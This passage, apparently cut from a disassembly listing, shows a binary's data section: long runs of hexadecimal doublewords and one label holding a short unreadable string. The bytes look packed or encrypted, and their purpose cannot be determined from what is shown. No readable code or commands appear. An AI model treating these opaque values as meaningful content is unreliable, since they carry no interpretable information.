		dd 1D02062h, 0E199C100h, 0A7F710B3h, 2A460F30h,	5289BC36h
		dd 0F0018283h, 8E16180Eh, 0BDAAE067h, 1EEDA597h, 8054CB79h
		dd 5C40082Ah, 320FC8A8h, 4361AA1Bh, 6394F2h, 0F1A706A6h
		dd 2ED9BE67h, 8C479C28h, 9978931Ch, 0A9BB5D80h,	984122h
		dd 0F3208BC1h, 1B8C15EFh, 5F858100h, 34EA5527h,	4D80A0B6h
		dd 70BA0002h, 0B39CED59h, 0EB0CB04Bh, 0D4652A93h, 0BBAA28C1h
		dd 92CC24A0h, 0D7C40021h, 315C1205h, 9C80B902h,	607691ECh
		dd 9878D60Ch, 0CFED0070h, 50C6AE99h, 1C005FD9h,	0F0ABB30Fh
		dd 0A377C4h, 4D488A6Bh,	5256B1CFh, 0AC075E00h, 510BA75Dh
		dd 6E5700F9h, 8230A62Ah, 0C418C1F6h, 391013F4h,	0ED56026Fh
		dd 0B62EB5D5h, 8EB82460h, 0B2248200h, 220A8F29h, 0CAE200A3h
		dd 899A6CE5h, 0BE0317F0h, 0E19E32FFh, 0C53A9073h, 74F0E0h
		dd 0DAF56E23h, 3C5FE9AFh, 2940112Eh, 4706AB01h,	0CADC51FBh
		dd 3B2700E1h, 0D60F67BDh, 4D032138h, 4139EF19h,	9857F3A4h
		dd 5C1DDF09h, 9500EA62h, 4EC26861h, 0ED006B96h,	6E4BA6E4h
		dd 79CA2B7h, 0B1900B3Eh, 0EF5BB010h, 4CEE1A37h,	699F1800h
		dd 3A624FE5h, 0E9E23E94h, 0E7800387h, 17DDB138h, 0EC74D95Fh
		dd 567D18EDh, 0BBC8CE39h, 0AB1B00CAh, 5562BD82h, 79BC03EFh
		dd 89644B7Ah, 2F070CFh,	82002684h, 0A532AA66h, 0F8CE12h
		dd 967EBB5Eh, 5AB9A1ADh, 92C4DE07h, 5120F102h, 3F9D5E79h
		dd 1B1D6BF7h, 8F138764h, 0CA0D304Dh, 310911A3h,	81C9C3C4h
		dd 0E71D8C14h, 0F72E70h, 3DDEAC06h, 59B02AB1h, 5750110Eh
		dd 51FA40AEh, 1EC8DF67h, 8063F2B9h, 0B715BFB0h,	570023CBh
		dd 0A2BDF011h, 2248E9h,	48BB4EDh, 21DB75A0h, 2370B000h
		dd 6669FE5Bh, 0F87375FAh, 0BA290047h, 857A0903h, 78039C8Fh
		dd 51DA41F1h, 0E657E8B9h, 0C6834C24h, 0C4001C4Ch, 60AC94D6h
		dd 5503E1CEh, 0BE5154E7h, 18FFF962h, 28683CCh, 1F12CBA1h
		dd 0FAC0085Bh, 390025FCh, 0DEC6614Eh, 35F650h, 532A81B6h
		dd 0C8D895Fh, 16D6071Dh, 452D2140h, 0F5A6C083h,	9820CCh
		dd 6C4931Bh, 74AE5F72h,	537AE200h, 424B45E0h, 29E300E5h
		dd 0C5F7E4B4h, 0BF06D047h, 34C8FD97h, 9EE91DF1h, 3B17401Dh
		dd 0D904329Ch, 0B1CD4A00h, 0AC3D7A0Eh, 80B605F9h, 0C07FFB3Fh
		dd 6F21FE49h, 0CCF60100h, 0C9E4FDC3h, 0E76E0070h, 7BBD6C89h
		dd 71005FD1h, 9464432Ch, 381F375h, 473B53C2h, 15B82583h
		dd 80037A04h, 6359D2B4h, 0C0D890CEh, 0B9BC004Bh, 3395C321h
		dd 3700FBC7h, 0A5A4D975h, 3633Fh, 595AD67Ch, 0FF58FAE4h
		dd 870015ECh, 8C186E47h, 78E2E90Ch, 38316075h, 5F2B233Bh
		dd 0ACDFC200h, 0BDA538Dh, 0EF9D1B85h, 57B1CA9Ah, 8038E5CDh
		dd 7D4B630h, 1528A24h, 0AC01E6D3h, 0E4411ACCh, 0D9766EBBh
		dd 97D4E300h, 0C6DDD60Eh, 0CF010092h, 94A73315h, 0B0008CFBh
		dd 500D5728h, 95FD22h, 73830920h, 0A0C1C842h, 9D0E3AB0h
		dd 0C098E233h, 46E74F93h, 0FF16000Ch, 0B33E66CEh, 3B019555h
		dd 0A1232E48h, 0EA3083ABh, 0FF1A0018h, 616B211Dh, 3EE405B8h
		dd 91E63900h, 0AF7AA8EBh, 835500A5h, 2A04F78Eh,	0F004443h
		dd 0C5799FEh, 7BE05B7Eh, 0E71400E9h, 1F2259AAh,	290EE655h
		dd 0C07A3306h, 385C10C4h, 0A8AE03B6h, 87200B32h, 0F5C5DAA8h
		dd 0E31C3E01h, 84DC28D2h, 29E803D1h, 8957245Ch,	6B5E0000h
		dd 9B3A9872h, 5BE2A205h, 0F8003EEAh, 0A7EB537Ch, 0B9F712BDh
		dd 0E9400CDh, 5A4F5897h, 9AF44C00h, 36B41459h, 0D3EE8Ch
		dd 3F1F5255h, 438F7089h, 0D556DA00h, 0C2E1EF9Bh, 127E1FA5h
		dd 906480h, 855C1314h, 0FE013EC1h, 3D2E444Bh, 1D6AD747h
		dd 0CEB0B03Ah, 8F007C57h, 0E67460F6h, 7115F2h, 13654C99h
		dd 3EB3582Dh, 0AFCD3300h, 7DAB3AAEh, 7F387A0Ch,	3B757Ch
		dd 1D32A965h, 9C23D0F6h, 0A000598h, 319B1F8Ch, 2FFA99h
		dd 49087734h, 0B3CFC7F3h, 86F57100h, 9C0A5C21h,	0F1E900B4h
		dd 1CC3588Dh, 0D4009FCDh, 102242DDh, 1EC48E23h,	8032A453h
		dd 1ADC0699h, 1BB8A269h, 8B898618h, 0EC0AA7C8h,	65900005h
		dd 3385A9CDh, 0F805BE1Ch, 4638B816h, 0C0308000h, 0AFB071h
		dd 0B91450ABh, 0FFB3C45Eh, 1BA57C03h, 0D8155734h, 0F99F6h
		dd 190D35C6h, 3B0B8709h, 0E47EAC09h, 0D0E0004Dh, 6022330Fh
		dd 2FC19A4h, 0C20039C6h, 3423D48Eh, 0FB0C50h, 0DE382A0Fh
		dd 0E168194h, 0DA9B0700h, 32C65D1Fh, 90C360A6h,	1704A985h
		dd 428F48h, 7295AF3Fh, 907479E1h, 0B41B000Eh, 0E89FDDA6h
		dd 8F000124h, 59889C6Ch, 34B4023h, 140969A4h, 50001AFFh
		dd 0D121FB5Ah, 1A3B622h, 6CA7D68Ch, 0E0068803h,	0E006344h
		dd 0B4A8DB5h, 3DE0EAF9h, 5D008CEFh, 0AF28747Eh,	26023A9Dh
		dd 0F802DC03h, 0FAF86058h, 1420EA2Bh, 0D35910F9h, 9B155000h
		dd 0B4E9D287h, 53778E71h, 0FB004490h, 7FB389B1h, 5C8D40EEh
		dd 0F0095D6h, 6C606AACh, 49E03A45h, 92CA9600h, 97658FFCh
		dd 68EE008Ch, 442AB4E1h, 45000C52h, 0C3BEF257h,	97056Bh
		dd 3AEEA326h, 37716A1Eh, 0D3924E00h, 0D72E14F6h, 0FFD61DD8h
		dd 7DE707CBh, 0C5EDE0F7h, 0FD1C8DE2h, 9581BA2Fh, 634B7282h
		dd 5AD130h, 59D3D2A6h, 0BAF823B9h, 0D1825C00h, 11A59C1Eh
		dd 0BFF60Ch, 6F96BC2Fh,	79B8E3D7h, 0CC369D00h, 0CAEF8AA3h
		dd 0C40D01ACh, 3DF07CEAh, 0C194D488h, 9DB21B00h, 912E4BB5h
		dd 0E4F4394Dh, 683F285Ch, 0F07EF705h, 2E9400CDh, 5E11EA49h
		dd 0A4069E7Eh, 7FAA52A6h, 0FE6D0020h, 0C9674EBDh, 9C1FC706h
		dd 27000FD5h, 97B9C3A9h, 59E260E6h, 55167B5Bh, 8065C600h
		dd 59AB184h, 46010717h,	902E498Bh, 25970FEFh, 0E01F687Bh
		dd 8CCF35A5h, 0A01A4FA0h, 0FA042BA3h, 73550E94h, 0D1A05F84h
		dd 0EF53AA9Eh, 699B1200h, 0D45475E6h, 8AB50F57h, 398EF2E2h
		dd 0ACD6B723h, 0C75CD7C0h, 5F8DA700h, 9EF1A6D5h, 0ED410EAFh
		dd 0C980E56Ah, 0DF5B4A99h, 7F404BE8h, 6E1300ACh, 0F67CF9E0h
		dd 970360D2h, 0C5A9480Dh, 53FEF864h, 3890F3h, 9E1503B7h
		dd 2DFCFFD7h, 797BCF00h, 7FC6240Ah, 0BFB10012h,	0EA483492h
		dd 450238BEh, 571B33ABh, 53F6A1h, 9BC0D6F9h, 0F200B26Eh
		dd 0A0A77910h, 7C65B09h
		dd 0BDF7D8E6h, 33B440BAh, 0E300D990h, 4E6C2A23h, 3C9248Ah
		dd 0D39FF158h, 5000837Eh, 2004BC30h, 4C917473h,	5D1EAC06h
		dd 2BCD80C9h, 0E0F03AADh, 120E867Dh, 0E03B0C17h, 0B4C8AA15h
		dd 7A575D6h, 91C4A697h,	30D7476Ch, 43F34B47h, 0CD636A00h
		dd 7929AB22h, 4C6D00EEh, 7F702331h, 400069B9h, 58B28E5Eh
		dd 0F06824h, 28E1E250h,	22AA64B3h, 80DAC200h, 9F8C81D4h
		dd 0D75B0040h, 0F68AC47h, 0EE049EE6h, 17DAE32Bh, 0F629D3C3h
		dd 1C970020h, 0D8C4D9C8h, 0A600FF1Eh, 0FC06B811h, 0F3F8DDh
		dd 0C7D5DFDAh, 4D0E8AE3h, 98E48E07h, 24C05123h,	0F40BB6h
		dd 0DA7EBDDEh, 0F9A99353h, 1967C100h, 397DD7CDh, 295100F5h
		dd 0C60B3E65h, 4C01B090h, 0D4C8FFD9h, 0F530E7BEh, 0B6411833h
		dd 442610D2h, 0A5CAFC0Eh, 5E52C03Eh, 0E5A28C9h,	0F71C8A91h
		dd 0BED1BA40h, 3000E050h, 0E9CA4562h, 2B17D6Eh,	0F73A8A4Dh
		dd 5FE0DA23h, 2801DC81h, 14F96C83h, 440FB86h, 89266Eh
		dd 0EC7BF70Eh, 0EDD02F34h, 0F40158h, 0AD50BBEh,	0D6788Dh
		dd 313F477Ah, 0EAB38312h, 5500E97Ah, 931940C0h,	58B4BC7h
		dd 4AA7A59Fh, 739C8094h, 0F3ECAB14h, 0FFEED200h, 0A615C643h
		dd 0D8E50020h, 21CD9875h, 3D011417h, 0DC195713h, 0CF7062FCh
		dd 0FD290137h, 433A8893h, 6AEE2097h, 0DF32D800h, 8DE7C520h
		dd 0FF3E1CCAh, 0EE75C1FBh, 615B0446h, 2B0D40BAh, 0A0073F1h
		dd 0B8DA238h, 1C1DAB0Ch, 80E6BDC3h, 0BA641C6Bh,	800111B4h
		dd 0FA936697h, 40F4D585h, 52433C50h, 0E0723C80h, 0DC6D072Ch
		dd 2FFE6200h, 0D292FCEBh, 0B57B0015h, 70C3E7EFh, 0CE48892Eh
		dd 44A10040h, 2A253E4Dh, 0FCC85892h, 0EB70A000h, 0D5FC0CA4h
		dd 5AB25B00h, 32F6CEC3h, 143FC8Ch, 62454A95h, 0E497F8AAh
		dd 93005C1Ch, 0E2F9C034h, 0B1DCE9h, 0ACCEFB1Dh,	0B75BF1Eh
		dd 57109000h, 0C6F4CCB6h, 5DD100E7h, 0AF9AC9F7h, 61F594Fh
		dd 0F300BF18h, 0D3265587h, 3BCC00B9h, 0E8F9F7D9h, 0CE00F63Eh
		dd 0E52DCFA4h, 1AEB88h,	574A7110h, 0D3ACCBBFh, 18A4A700h
		dd 0E5699037h, 0D4160F22h, 6F47B745h, 0B0CA87E7h, 6750A62Eh
		dd 0A27CFD00h, 0D3485BF9h, 37350075h, 0E0EB0B76h, 2700511Ch
		dd 64CCA097h, 1814CD79h, 10AF43F7h, 0E700987Dh,	2582816Bh
		dd 0B5422Dh, 281514D1h,	4D3997A4h, 0DAEE2A00h, 63D257BEh
		dd 0A1E10016h, 0C498177Dh, 3E07E595h, 8C12D16Ah, 58066201h
		dd 83CEF8h, 74815792h, 0E0CC960h, 7059C200h, 0AFBD3AC1h
		dd 2957A62h, 3283FAD1h,	0C0A497h, 9400565Ch, 66793BB6h
		dd 0D14F61h, 0E03E52B7h, 130CDF9Bh, 67B27E00h, 7269873h
		dd 5F171D36h, 0F638784Fh, 0E41843BDh, 0B57E180Dh, 18922B00h
		dd 93C480C5h, 87470001h, 0F6E63477h, 271D44E2h,	0C5006E05h
		dd 6D5A64B5h, 730F0FD6h, 0BAA036ADh, 1D74E583h,	28DF9400h
		dd 9641CC82h, 3962008Bh, 988986C9h, 63000D7Ch, 651FE570h
		dd 1DC0F1C1h, 0C0E2A8CAh, 2264D207h, 141E2A01h,	1C803BA1h
		dd 72D73120h, 0C458005Fh, 1DA5A089h, 0D0018C7h,	42D9D541h
		dd 2415797Eh, 181BD8h, 0A0FC9B25h, 5001F536h, 0C3B72C7Ah
		dd 3CC478B5h, 0D03F0033h, 413DA918h, 0D81E060Dh, 13C1649Bh
		dd 0EA08A4A3h, 1E4B5FD4h, 6BD51E5h, 0D00C2F23h,	9F411403h
		dd 77C058Fh, 71940270h,	0B395809Dh, 810060E2h, 179EBA51h
		dd 318CC4CBh, 0A2A879FAh, 5208FC2Fh, 82D9A300h,	8B03934Eh
		dd 0A75413E5h, 0DFA3001Ah, 80CED473h, 61B20800h, 0AC4CA9A3h
		dd 7D4338ECh, 40E2CC80h, 57804A93h, 91C68409h, 15E9809Bh
		dd 3F9F29h, 0E1FCF058h,	1FA42CAAh, 17542600h, 6CECF9A0h
		dd 0C24900F4h, 0FC27D6ADh, 0F8017BE0h, 4A8E3F5Fh, 93F84546h
		dd 0DEB0E8h, 0A29B071Bh, 20EC2789h, 0FD4D9D00h,	5D0A2D36h
		dd 12F47075h, 7EBA338h,	0F047DC90h, 520DC8A0h, 0B7D6DA0Fh
		dd 0B0D40053h, 1F4B1BFh, 1FA531D0h, 0E0FE1ED9h,	0DD3B418Ah
		dd 0E9AB80C1h, 8FEED328h, 72900F6h, 0A8F322D7h,	0B00E20Dh
		dd 0E12A214h, 3F80ACCh,	4F95CEDDh, 0A6D097BCh, 80040F5h
		dd 0AA78CD70h, 17F93ACh, 0AF831FC1h, 0DC80B099h, 6100D69Bh
		dd 0BF0491ADh, 18D5ABEh, 8BDAE588h, 0F045E1CBh,	4D055885h
		dd 0FBDB89D4h, 0ADC16D81h, 0ABD9ECh, 0A7B7350Ah, 0E2B8B3AAh
		dd 7781F100h, 94620F32h, 0D25600EAh, 0D7696A37h, 4200F918h
		dd 0CD47289Ah, 1C6F5DDh, 5C5767FFh, 702F4C40h, 3A00F07Ah
		dd 0CBC5DE1Bh, 0E80826EEh, 15EE04h, 28DD5A24h, 0ADD886AAh
		dd 42F48950h, 2F7D8D00h, 9EF08276h, 0A4310087h,	0EF5F0696h
		dd 0FD13EEABh, 0FC00F1ECh, 47221EA6h, 62EEDCh, 9CB35A6Fh
		dd 0B7A460F9h, 43510800h, 61925E4Eh, 0A5C10FE7h, 3F8E45CCh
		dd 67552907h, 33780388h, 0AA4CBF88h, 1B761A00h,	64B7EF39h
		dd 0FD870E52h, 0C6A08F3Ch, 3D9A880Dh, 14E7E39h,	7C977D84h
		dd 0FB6086F9h, 0BE2B0036h, 763F0225h, 0E350F30Ch, 0AB00C3B5h
		dd 0C471C2B2h, 71A6668Ah, 0EABB01D3h, 13F3FDEDh, 0C08FD8F8h
		dd 758ECB00h, 378BFE72h, 0EDC83DB4h, 0F4A8E200h, 20D58AA1h
		dd 0B2A20D00h, 1BEB9D77h, 30BE3A05h, 60500100h,	5CACC6AEh
		dd 61A5BA00h, 0F31F80E6h, 2FC90106h, 3B294382h,	86B4D4DCh
		dd 472B0B00h, 7865124Eh, 0CA7A80h, 7443DE17h, 0E3F05C7Dh
		dd 0E8DDA207h, 85703AC3h, 66220Bh, 63BAEA13h, 5CFC52Eh
		dd 0D3656F00h, 0AAFAE1Fh, 5C4D000Ch, 3B800698h,	6DEC9A01h
		dd 7A5F80C0h, 0E4749h, 644ADF66h, 4CB532DDh, 635230Fh
		dd 81DF21Ah, 534BE780h,	0F7C1E1h, 0D1801784h, 0B783501Ch
		dd 8A3CE403h, 0D01A85F5h, 7EB05CAh, 74C234CEh, 785CD09Eh
		dd 0AC1C648Bh, 0A51F4CF8h, 895E580h, 0B049D36Ah, 0F0720023h
		dd 3BDB4A19h, 8B0EAFC2h, 40BE5341h, 0CD6A635Eh,	8DE6004Ch
		dd 66ED14D6h, 7EE4B7ADh, 0B039500h, 639F3698h, 0DC6A0F1Bh
		dd 81E0F920h, 0C2D0D490h, 8ECFC300h, 0BE83A519h, 9040FA27h
		dd 0D71E036Fh, 0AB60C729h, 0EB239780h, 5FCB9200h, 8DC15E04h
		dd 10310602h, 52634EE1h, 77FE0F50h, 781EC773h, 72C06099h
		dd 40F0DE32h, 469C0059h, 241D0758h, 0E80025F7h,	10E0EC0Ch
		dd 75FCCABh, 0C5D92A37h, 0B5A84029h, 46E8639h, 25676718h
		dd 0BB71215Fh, 87D0293Bh, 0C89F3DB9h, 70193C80h, 0AC4D4B92h
		dd 9800B6EEh, 0D5C0839Ch, 6A314Ah, 0DB48D38Dh, 0F9695289h
		dd 7EB11C0h, 3D3A08h, 0EAB871D1h, 2640D0E6h, 0A40C2A7Ah
		dd 8005454Ch, 0DD390192h, 616CF4E5h, 0B5D7707Bh, 0ED8793A0h
		dd 62C50B01h, 0F6CC6514h, 48933085h, 5E982075h,	0BB2E9449h
		dd 2D00F19Bh, 97C61BC7h, 0B878EDh, 8569CAFEh, 0FF687EB6h
		dd 87EAD101h, 26975F35h, 31FE20h, 0B58AB20Ch, 0D2D624E0h
		dd 4B5AED00h, 543D4C29h, 1F7A001Dh, 0DED5CCB1h,	0BD244907h
		dd 0C117831Eh, 23CDA400h, 72A4F04h, 0B018E217h,	0EF0E4F09h
		dd 0A084AF87h, 0B612EC9h, 1205E778h, 2075C40Fh,	0EFDE700h
		dd 26F1Eh, 0D62B05C3h, 30DCD8F9h, 0A0573900h, 1C0D77E3h
		dd 144C3EB3h, 31092D00h, 20F19DF9h, 9F0110E0h, 0DF84A5B5h
		dd 0A03F83EEh, 9603B012h, 0D7B62069h, 304D9933h, 0B661D4F5h
		dd 0F4659D40h, 4A0E1501h, 1F00A8E1h, 808814FBh,	0A7A5A66h
		dd 9707300h, 0D4FF4620h, 6C420F6Eh, 0EDA0430Dh,	56697B30h
		dd 0F20A0C13h, 540ACF12h
		dd 6C80C8DCh, 7CA27EEEh, 432400F0h
		db 0BBh
aMjehm		db 'M†Eh¬',0            ; DATA XREF: ___:off_437A24o
					; ___:off_437A3Co
		db 0A9h
		dd 251F5F11h, 63F58007h, 0C84A80D7h, 0B4D98900h, 5FB268Ch
		dd 0F29C0052h, 0E6CF207Eh, 54071BBAh, 5CC5B268h, 39917AB0h
		dd 364ECBCh, 1BC9C1EAh,	45E07F0Ah, 6700496Eh, 0CEFB8A3h
		dd 7170BA63h, 41FC4Ah, 0CB9338D0h, 0B2BB57C0h, 0D4205A01h
		dd 69276B8Eh, 10FCADCh,	9DDCE4DBh, 0D8668662h, 0A1C30665h
		dd 90E6154Eh, 0B573C2h,	0DD2BA154h, 0E456A9E9h,	0A8380D03h
		dd 98CCC9B4h, 0FE7D919Bh, 0B3050AA6h, 809056BAh, 26956764h
		dd 9E00F815h, 1FCD3298h, 118A4E8h, 0FE2B8CD2h, 31DB1A29h
		dd 942CD0A7h, 2FEF7003h, 0D0E52D11h, 0CCFD4FE0h, 5D211808h
		dd 162FF600h, 55E6E472h, 2A683ED1h, 0A11AD001h,	80834748h
		dd 8487DC58h, 0E81DF3h,	1AD14F8Bh, 14EF2DA9h, 0DD964E0Ch
		dd 301CD687h, 0C2412BE8h, 0DE3A5397h, 0C1060EFh, 1F2C558h
		dd 8E265BA1h, 0D1E8A3A9h, 0E5318716h, 0A8F0A278h, 57B5271h
		dd 18B7B2F1h, 0B184C6DCh, 0E800207Bh, 2F754B1Eh, 5144E9h
		dd 0C6376F97h, 9A9EBE4Eh, 88A8BC30h, 605270A2h,	0BAC4C031h
		dd 18C18B10h, 125660A4h, 76139848h, 3E02DE21h, 5248C880h
		dd 56473872h, 0E50E1400h, 0CADE2601h, 0C6C40096h, 0E4EC35DDh
		dd 630036A2h, 0CBF27A80h, 111910h, 0C2AF6D1Bh, 0A3DB4307h
		dd 0AA966700h, 5B3B8E2Ch, 210200F5h, 24E4A692h,	6A0011ECh
		dd 2D374FE5h, 3510F9Fh,	0F6B2D5A8h, 0D7AF0C88h,	39808038h
		dd 0D009563h, 2D7BAE51h, 2317F1h, 22A5C409h, 0CCECB3DDh
		dd 0CA002F7Ch, 0B16B0E62h, 37BB2AEh, 0C4184767h, 0D0A075C9h
		dd 5A00A217h, 222FCFFDh, 0F038654Eh, 0ED2401E5h, 78660F96h
		dd 0DCFDFC0Dh, 937BB301h, 47F1C96Ah, 0C00460A3h, 3D06FF4Eh
		dd 0C783FEFAh, 0A670D788h, 7ECC00A2h, 0E328B7EAh, 4B00B8ACh
		dd 9FD9BF72h, 0E64E3Eh,	135D4390h, 0FE30C003h, 48345A00h
		dd 167B8C44h, 3BB6002Eh, 8235BA4Eh, 0CC00C8A9h,	0E97F42A0h
		dd 1730C6h, 54E1CBFAh, 0EF32EA36h, 6A3BCC01h, 41F27239h
		dd 0DC11204Eh, 46AC86FFh, 0A9D90088h, 0B7A81220h, 0F8618857h
		dd 0DE97B3C8h, 30EC8530h, 6E107847h, 7088335Ch,	3A2B00ACh
		dd 0F37CC923h, 0FE1D807Fh, 364CE891h, 0D1811h, 3F40448h
		dd 89D4E93Fh, 0C25161F0h, 0E1508884h, 0A0760175h, 81BF7C7Ah
		dd 0B9451888h, 2883A18Eh, 283BB361h, 6B45042h, 7B5490Ch
		dd 17BB0E20h, 86C0E62Fh, 0DB969947h, 238330A0h,	67B038D9h
		dd 82108FE0h, 17D52010h, 83BA6604h, 0A97CD074h,	20B06F68h
		dd 0D8174A43h, 0AF668FF3h, 20AD1540h, 100AC0D8h, 50A01821h
		dd 40D46041h, 0D25F1128h, 8A351270h, 7F400038h,	0CFA5B77Bh
		dd 29553000h, 0DF189DBFh, 72B0FC7h, 0AD813E6Ch,	20C1A235h
		dd 0DE3CC60Ch, 0BC503AA1h, 207DAA04h, 33F4A03h,	0FCA6B0DEh
		dd 0F0402C7Ch, 0C30E2864h, 0B33824D4h, 0F3684010h, 50489232h
		dd 6A247262h, 0AD47102Fh, 103E9A02h, 8D78BC13h,	40303093h
		dd 42C371D1h, 1E1FA29Dh, 7125C701h, 927FEB30h, 611134DAh
		dd 0F0D09F37h, 387F3406h, 32108053h, 49F020DEh,	81859FE1h
		dd 0CEFDD3B0h, 81081FE8h, 0B0EA9E17h, 0A5042126h, 0B09FE978h
		dd 40075674h, 57F35F00h, 0EBBC9E2Fh, 69A99F8Fh,	7F0F4320h
		dd 60BC9B82h, 0C0A1BF77h, 50C9D595h, 943806D4h,	3C9F7309h
		dd 2A20024Eh, 0EFC9E0A5h, 529B0071h, 84153749h,	18D2B114h
		dd 0AEAF0804h, 0F5174480h, 69F2F1D5h, 204C8654h, 0D4F404C6h
		dd 78852E03h, 5182872Dh, 0BC50CE4Bh, 0C1014340h, 2716C660h
		dd 0FD80205Ah, 65C85C71h, 39880AE7h, 471FE58h, 0AF5FB742h
		dd 1EF67D11h, 0BE802405h, 0A07D339Ah, 42096CEh,	0E58BFFCAh
		dd 87697C2Fh, 8D992C82h, 1180955Fh, 139504CDh, 3B011461h
		dd 330B186Bh, 0DAE100A8h, 15B9ADF0h, 0B0F6FAh, 0CD125216h
		dd 3D0F365Ah, 543C047Ch, 48200081h, 65BF214Dh, 28CA60CFh
		dd 0BE3ADAFBh, 204BA02Bh, 144AB4C2h, 0B0DAEF02h, 157585F7h
		dd 0CB0B810h, 9010B4D6h, 46753174h, 59FC841Eh, 0DA05D428h
		dd 709E992Eh, 524C4078h, 8F876049h, 2A5974F6h, 8020502Bh
		dd 0AB95DA7Fh, 458563A3h, 0FEC04124h, 0C8B55Eh,	74E9CD68h
		dd 0B9320071h, 587A9553h, 0E10E4AE3h, 0A08DF2DCh, 0CA45EB93h
		dd 127C1Fh, 0DB8EE860h,	0F8EA7F05h, 84056C78h, 517BC9E0h
		dd 0F6432030h, 0A2864225h, 11081EB4h, 54DB0E34h, 97C1B843h
		dd 0A8F0A15h, 4C78BC88h, 0ED232178h, 20F8851h, 34379FC0h
		dd 8C213EEAh, 26EEC0E1h, 40AFA3BEh, 6E415018h, 6B063077h
		dd 37783328h, 0DE7E6D09h, 2E040016h, 3159DDFh, 0B2035AC7h
		dd 181E0945h, 0CD8764C0h, 19C3124Dh, 57FDC03Ch,	518AF040h
		dd 0DFFC2061h, 423B71BAh, 5BD4A752h, 8072AF00h,	4003B7Ah
		dd 6388F6B9h, 0F0BF06E8h, 8BD21D7Fh, 0F5CDC3DAh, 0CB8B38E3h
		dd 948C1805h, 84036162h, 0C7F9A8DAh, 2C0C55A0h,	0AE20A84Bh
		dd 0BC73028Bh, 37D95987h, 0C088433Ch, 360281D5h, 9140ADFCh
		dd 0C65804B4h, 17012E4Dh, 2791F585h, 9F7C04E8h,	132A7E48h
		dd 8384830h, 96DE08AEh,	2CF9F9BAh, 0A1E204Bh, 4054D5C8h
		dd 0E4A84E1h, 392C6002h, 573E8395h, 13022088h, 0C49497D6h
		dd 0DC65C865h, 107D202Ch, 0A8068419h, 0D8085E0h, 0EAF802D6h
		dd 7842853Ah, 0C2081C48h, 546D2ACCh, 68DD7442h,	0D6AD10A0h
		dd 0A70CA8B6h, 671587E0h, 5754C8E5h, 7E0F2010h,	0D12455DAh
		dd 0B2122A33h, 28CC1379h, 0D910F2C8h, 0E4A877BBh, 0BD40B085h
		dd 80A53CC4h, 202CE865h, 47EA5857h, 3CA28052h, 0DA630216h
		dd 0F8787FDBh, 0C02440BCh, 0B8704048h, 44372180h, 604BCC51h
		dd 97F97F05h, 0D020780Fh, 8F68287h, 0A15182Ch, 708059A4h
		dd 762BC4FFh, 0D4C22009h, 291D1C49h, 84D1E0ABh,	0A1ED8F2h
		dd 3EA11F7Bh, 10ECF140h, 60E5E3h, 68176932h, 520763DAh
		dd 311F0F1h, 20AC122Ch,	5F0A2CA6h, 83A286Dh, 214CBFh, 0E4EDE1A6h
		dd 0B90E35B8h, 0C0D253D9h, 0FA327E11h, 0F503695h, 1E187838h
		dd 3F513D1Dh, 0F5A680A4h, 2011DB2Ah, 1743327Fh,	90EF8E86h
		dd 0F8B43608h, 0CDC71F17h, 0F1593A5Eh, 3166C358h, 1C183906h
		dd 7068BC36h, 7AFEE031h, 4401C0BAh, 0C1B96A46h,	51D19278h
		dd 1A52688Ch, 0DC6FC738h, 0B5009790h, 6CF11901h, 71BFC14h
		dd 0C9896172h, 30C8A02Eh, 30F5BC6h, 76267768h, 90586000h
		dd 3EFFAF1Bh, 5A8C11B5h, 5C50D2B7h, 92598060h, 2D634C8h
		dd 0D876145Fh, 70C0CA31h, 0CD2A2E95h, 1B78C864h, 0D72CDDE8h
		dd 68838059h, 1CC5CEAFh, 4AA97E68h, 80E4430Bh, 0D4E8FA50h
		dd 9C00DD1Eh, 3DC1BCC6h, 36A8292h, 0FAE31B64h, 86839AEBh
		dd 3634C9C8h, 0F0455C2Ah, 0FA00AF77h, 7F76923Fh, 9A933Dh
		dd 4EBBFB19h, 3ADFE35Ch, 0AF1A030Dh, 60D8485Fh,	0F86307A4h
		dd 0C0EDC369h, 2DD7D57h, 0A445A22Ah, 0B094360Ch, 0FB160CBh
		dd 3A34E04Ah, 7B6A87h, 0EE11B969h, 53FD3800h, 0E4E65614h
		dd 2FFC0003h, 2C6448C9h, 1E339552h, 533F06Fh, 0E8456830h
		dd 7108C9B2h, 14C001A4h, 6518705Ch, 822A60C8h, 0AA4352CDh
		dd 35F5C48h, 1F35A218h,	205EFEA0h, 740A1D81h, 0D0CFE7CDh
		dd 76952C82h, 0CECE131h, 33927981h, 704D16B4h, 723ECDB4h
		dd 21221E3Fh, 0A8C7E98Ah, 0FBFC075Dh, 1AE06C7Eh, 24F4AE24h
		dd 0AE99981h, 0F8BA0553h, 18BD5B18h, 653F9232h,	4978653Fh
		dd 46A99443h
		dd 1E8DD0CAh, 0C43900D3h, 812DF0F3h, 3650EDEAh,	0CE2292C4h
		dd 0F3680237h, 0A72A7409h, 47721841h, 9BC9C084h, 1D777DA3h
		dd 0BE30697Ch, 0DB7B1835h, 0FE81CAB8h, 387603E0h, 0A018C250h
		dd 0C7B9F148h, 504E54EDh, 7E341D89h, 0F97500D6h, 3C4FC114h
		dd 2124BC33h, 627824FDh, 0A6FE0FD4h, 0F0E21059h, 4706C671h
		dd 3AE8C877h, 0C2C4819h, 0DAA899C7h, 144970h, 480147F6h
		dd 94D7AB7Eh, 0F04018BAh, 979594Ch, 1C825A2Fh, 2DEF0C03h
		dd 0BB3C4EC0h, 0DC39CF2Eh, 99F9BC18h, 2AB71E87h, 402493C7h
		dd 53EE4640h, 1054637Eh, 14032F88h, 0AC8C71CEh,	0D880406Ch
		dd 8DEA1D73h, 0FD9B40C1h, 0C3E2DCB7h, 0EB38B500h, 74986653h
		dd 872A3EFCh, 0D4003E3Bh, 9756A726h, 42788DFAh,	5D18E060h
		dd 7882C793h, 78ABF820h, 2AD60061h, 49F0E12Eh, 321E855Fh
		dd 44007895h, 0FA87DB40h, 10066029h, 0FBFD341Eh, 2074520h
		dd 0E38DF248h, 0D2E0C7C5h, 3907853Ah, 90220376h, 0D4C9A02Eh
		dd 714B5F8h, 96654A2h, 82980E9h, 0D3033EE6h, 67C50F58h
		dd 45183622h, 6F1118A9h, 312166AEh, 42CD6B88h, 0A500DB2Dh
		dd 7A158Dh, 0A9F9212Ch,	0FAC8FCABh, 0A8043931h,	8C50AFB6h
		dd 3CDB835Dh, 8D00DD3Ah, 0B2DA36Dh, 0E1392F48h,	0D878A3Eh
		dd 0D703A03Ch, 3E1C4DFAh, 0A8752C40h, 887CD50Ch, 0B8A8F584h
		dd 3B405759h, 0DEBC1491h, 706CC0Ch, 0C048544Bh,	586F92B0h
